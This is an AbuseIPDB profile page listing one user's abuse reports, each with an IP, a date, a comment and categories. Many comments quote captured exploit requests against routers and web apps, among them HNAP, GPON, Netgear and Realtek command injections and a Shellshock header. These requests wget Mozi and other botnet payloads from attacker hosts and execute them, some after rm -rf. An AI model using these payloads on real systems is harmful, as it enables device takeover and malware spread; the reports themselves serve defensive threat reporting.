AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Cyb3rWarH0G joined AbuseIPDB in June 2023 and has reported 94 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇵🇦 141.98.83.197	25 Jun 2024	D-Link NAS devices Backdoor Account Access and Command Injection Attempt (CVE-2024-3273)	Hacking Bad Web Bot Exploited Host Web App Attack
🇨🇳 154.19.161.225	20 Jun 2024	Inbound Server Page File GET /index.php HTTP/1.1 encrypted base64	Hacking Hacking Bad Web Bot Bad Web Bot Exploited Host Exploited Host Web App Attack Web App Attack
🇮🇳 165.232.189.51	19 Jun 2024	file_put_contents php base64 encoded Remote Code Execution 1 CasperSecurity <?php echo '<pre>'.php_ ... show more file_put_contents php base64 encoded Remote Code Execution 1 CasperSecurity <?php echo '<pre>'.php_uname() show less	Hacking Hacking Bad Web Bot Bad Web Bot Exploited Host Exploited Host Web App Attack Web App Attack
🇺🇸 134.209.116.221	05 Jun 2024	Apache SkyWalking GraphQL SQL Injection Inbound (CVE-2020-13921)	Hacking SQL Injection Bad Web Bot Exploited Host
🇨🇳 85.209.40.57	24 Apr 2024	@Nmap ssl-heartbleed	Hacking Bad Web Bot Exploited Host
🇨🇭 185.196.11.65	11 Apr 2024	C2 server http://purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && c ... show more C2 server http://purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://185.196.11.65/wget.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh` show less	Hacking Bad Web Bot Exploited Host
🇮🇳 59.92.190.45	02 Apr 2024	C2 server XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://59.92.190.45:59 ... show more C2 server XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://59.92.190.45:59552/Mozi.m+-O+->/tmp/gpon80;s show less	Hacking Bad Web Bot Exploited Host
🇮🇳 117.222.251.24	28 Mar 2024	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/ ... show more POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://117.222.251.24:42745/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 show less	Hacking Bad Web Bot Exploited Host
🇿🇦 102.33.30.193	26 Mar 2024	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://102.33.30.193:32963/M ... show more GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://102.33.30.193:32963/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 show less	Hacking Bad Web Bot
🇿🇦 102.33.105.92	22 Mar 2024	http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://102.33.105.92:59133/Mozi.m && chmo ... show more http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://102.33.105.92:59133/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` show less	Hacking Bad Web Bot Exploited Host
🇳🇱 109.205.214.35	21 Mar 2024	XWebPageName=diag diag_action=ping wan_conlist=0 dest_host=`busybox wget http://109.205.214.35/ma ... show more XWebPageName=diag diag_action=ping wan_conlist=0 dest_host=`busybox wget http://109.205.214.35/matrixexp.sh -O /tmp/matrix;sh /tmp/matrix` ipv=0 show less	Hacking Bad Web Bot Exploited Host
🇮🇱 89.221.225.163	08 Mar 2024	Realtek SDK Exploit C2 orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://89.221.225.163/d00msd4y.m ... show more Realtek SDK Exploit C2 orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://89.221.225.163/d00msd4y.mpsl; chmod +x d00msd4y.mpsl; ./d00msd4y.mpsl rt.mpsl; # show less	Hacking Bad Web Bot Exploited Host
🇮🇳 117.199.4.155	22 Feb 2024	POST /HNAP1/ HTTP/1.0	Bad Web Bot Exploited Host
🇮🇳 117.217.37.3	21 Feb 2024	Bad IP, Dasan GPON CVE-2018-10561	Hacking Bad Web Bot Exploited Host
🇸🇦 82.167.116.51	21 Feb 2024	CVE-2017-16894, Directory Traversal attempt	Hacking Bad Web Bot Exploited Host
🇺🇸 209.141.42.209	14 Feb 2024	COMTREND ADSL Router CT-5367 Remote DNS Change Attempt	Hacking Bad Web Bot Exploited Host
🇺🇸 192.3.152.183	08 Feb 2024	GET /cgi-bin/jarrewrite.sh HTTP/1.1 User-Agent: () { :; }; echo ; /bin/bash -c 'rm -rf ; cd /tmp; ... show more GET /cgi-bin/jarrewrite.sh HTTP/1.1 User-Agent: () { :; }; echo ; /bin/bash -c 'rm -rf ; cd /tmp; wget http://192.3.152.183/nigga.sh; chmod 777 nigga.sh; ./nigga.sh' Connection: keep-alive show less	Brute-Force Bad Web Bot Exploited Host
🇫🇷 145.239.11.122	07 Feb 2024	Atlassian Confluence CVE-2021-26084 Remote Code Execution	Hacking Bad Web Bot Web App Attack
🇺🇦 185.166.217.8	19 Jan 2024	orf;cd /tmp\|\|cd /var&&/bin/busybox wget https://paradox-team.dev/Anti-Honey-Pot/x86_64 -O 11&&./11;#	Hacking Brute-Force Bad Web Bot Exploited Host
🇩🇪 91.218.67.46	17 Jan 2024	CVE-2012-1823 cgi-bin/php access,PHP-CGI Shell Code Injection (v2)	Hacking Bad Web Bot
🇯🇵 137.220.197.141	16 Jan 2024	CVE-2017-12617 PUT /2azYadkZ1vtjWIGLPGH2NgSjnsp.jsp/ HTTP/1.1	Hacking Bad Web Bot Exploited Host
🇮🇳 120.56.45.2	19 Dec 2023	busybox+wget+http://pvp-rivals.com/gpon80.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0	Hacking Bad Web Bot Web App Attack
🇷🇺 185.161.248.184	15 Dec 2023	SSH Login Bruteforce Detected	Hacking Brute-Force
🇰🇷 118.39.230.70	17 Nov 2023	Zyxel Injection Attempt, Bad rep	Hacking Bad Web Bot Web App Attack
🇨🇳 47.103.59.134	20 Oct 2023	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: g ... show more POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.72/reallynightmare.sh?gpon80+-O+yournightmare;chmod+777+*;sh+yournightmare`&ipv=0 show less	Hacking Bad Web Bot